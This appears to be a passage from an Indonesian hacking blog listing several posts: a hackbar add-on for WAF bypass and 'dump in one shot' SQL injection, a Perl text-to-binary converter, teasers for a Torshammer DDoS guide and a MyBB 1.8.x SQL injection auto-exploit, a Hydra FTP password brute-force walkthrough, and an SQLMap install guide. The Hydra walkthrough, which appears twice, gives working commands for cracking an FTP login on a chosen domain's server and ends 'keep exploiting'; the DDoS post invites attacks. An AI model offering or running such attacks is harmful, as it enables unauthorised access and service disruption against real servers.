Sebenarnya hackbar yang ini hampir sama dengan hackbar versi original nya, hanya saja lebih powerfull karena ada penambahan tools seperti bypass WAF, Dump in One Shoot ( DIOS ) , dll. Yang kalian butuhkan hanya mencari jumlah kolom dan angka ajaib nya, dan, hajar dengan DIOS.
Tools
Cara Convert Text ke Binary atau Binary ke Text Menggunakan Perl
Hali kali ini saya akan share tools untuk meng-convert dari text menjadi binary ataupun dari binary ke text. Tools ini menggunakan bahasa pemrogramman Perl. jadi jika kalian menggunakan windows dan belum terinstall perl, silahkan install terlebih dahuli. Untuk linux user, biasanya sudah pre install.
Link download file :
Text to Binary Tools Download
Cara menggunakannya :
[email protected]:~% ./hex.pl -[opsi] “Kata yang akan di convert”
Contoh :
[email protected]:~% ./hex.pl -t “0111010101101110011000010110110101100101001000000111010101110000011000010111001101110011”
opsi -t artinya kita akan menconvert dari binary ke text.
hasil nya adalah ” uname upass “
[email protected]:~% ./hex.pl -b “uname upass”
opsi -b artinya kita akan mengconvert dari text ke binary.
Hasilnya ” 0111010101101110011000010110110101100101001000000111010101110000011000010111001101110011 “
[email protected]:~% ./hex.pl -b -f file.txt
Opsi -f bila yang akan kita convert adalah file.
Sekian tutor kali ini dan semoga bermanfaat.
Melakukan Serangan DDOS Menggunakan Torshammer di BackBox Linux
Oke, kali ini saya akan share cara menginstall DDoS tools bernama torshammer di Ubuntu atau backBox Linux. Tools ini menggunakan script python , namun berhubung python sudah terinstall secara otomatis di Linux, kita tidak perlu menginstall python.
[Read more…] about Melakukan Serangan DDOS Menggunakan Torshammer di BackBox Linux
MyBB 1.8.x SQL Injection Auto Exploit
Kali ini saya akan share script python untuk exploit MyBB 1.8.x secara otomatis. metode nya adalah SQL Injection. Ya, seperti yang kita ketahui, MyBB sudah sampai di versi 1.8.1 namun malah ada bug yang sangat fatal di versi baru tersebut yaitu SQLi.
Oke langsung saja berikut ss nya : [Read more…] about MyBB 1.8.x SQL Injection Auto Exploit
Cracking FTP Password using Hydra on BackBox Linux
Oke kali ini mau berbagi tutorial cara crack password ftp menggunakan Hydra. Tools ini sudah tersedia di distro pentest linux macam BackBox, Backtrack atau Kali Linux. Jika kalian menggunakan distro lain kemungkinan tools ini perlu diinstall terlebih dahulu.
Oke saya asumsikan kalian sudah punya tools nya.
Tinggal mengikuti tutorial yang saya berikan disini.
Pertama, tentukan ip server dari domain yang ingin di brute ftp nya.
Jika sudah dapat, masuk terminal, masukkan command berikut.
[email protected]:~$ sudo -i
[sudo] password for yuyudhn:
[email protected]:~# ls
c0der pass.txt tools
disini saya membuat wordlist dengan nama pass.txt di folder rootSelanjutnya tinggal masukkan perintah
[email protected]:~# hydra -l user -P pass.txt ftp://ip_server
Tunggu sampai proses cracking selesai.
Nanti ada notif seperti ss dibawah :
Oke saya asumsikan kalian sudah punya tools nya.
Tinggal mengikuti tutorial yang saya berikan disini.
Pertama, tentukan ip server dari domain yang ingin di brute ftp nya.
Jika sudah dapat, masuk terminal, masukkan command berikut.
[email protected]:~$ sudo -i
[sudo] password for yuyudhn:
[email protected]:~# ls
c0der pass.txt tools
disini saya membuat wordlist dengan nama pass.txt di folder rootSelanjutnya tinggal masukkan perintah
[email protected]:~# hydra -l user -P pass.txt ftp://ip_server
Tunggu sampai proses cracking selesai.
Nanti ada notif seperti ss dibawah :
Kita coba login dengan filezilla untuk mengecek apakah password yang didapat adalah benar :
Gotchaaa !! xP
Sekian tutor kali ini, keep exploiting 😉
How to Install SQLMap on Ubuntu via Terminal Command
Oke kali ini saya akan berbagi sedikit tips cara menginstall SQLMap di Ubuntu lewat terminal command. Berbeda dengan Debian Kali Linux atau Backtrack yang memang diperuntukkan sebagai OS pentester, Ubuntu memamng tidak dilengkapi dengan tools tools macam sqlmap, dll. namun bagi kalian yang menggunakan Ubuntu dan ingin menggunakan tools tersebut, kita bisa menginstall nya sendiri.
Oke langsung saja, pertama buka terminal ubuntu kalian .
[email protected]:~$ sudo -i
hal ini agar kita bertindak sebagai root.
[email protected]:~# wget ‘https://github.com/sqlmapproject/sqlmap/tarball/master’ –output-document=sqlmapproject-sqlmap-0.9-3671-gdcaad75.tar.gz
Perintah ini dilakukan agar ubuntu mendownload file dari github. Tunggu sampai selesai.
[email protected]:~# tar -xvf sqlmapproject-sqlmap-0.9-3671-gdcaad75.tar.gz
command ini digunakan untuk mengekstrak file yang telah didownload tadi.
Setelah diekstrak, sqlmap tadi ada di folder sqlmapproject-sqlmap-dcaad75
agar lebih mudah, kita rename saja nama folder nya.
[email protected]:~# mv sqlmapproject-sqlmap-dcaad75 sqlmap
Hal ini untuk merename folder sqlmapproject-sqlmap-dcaad75 menjadi sqlmap
.
Nah sampai disini penginstallan sqlmap sudah selesai.
Untuk menggunakannya tinggal diarahkan ke arah folder sqlmap.
[email protected]:~# cd sqlmap
[email protected]:~/sqlmap# python sqlmap.py
Sekian tuor kali ini semoga bermanfaat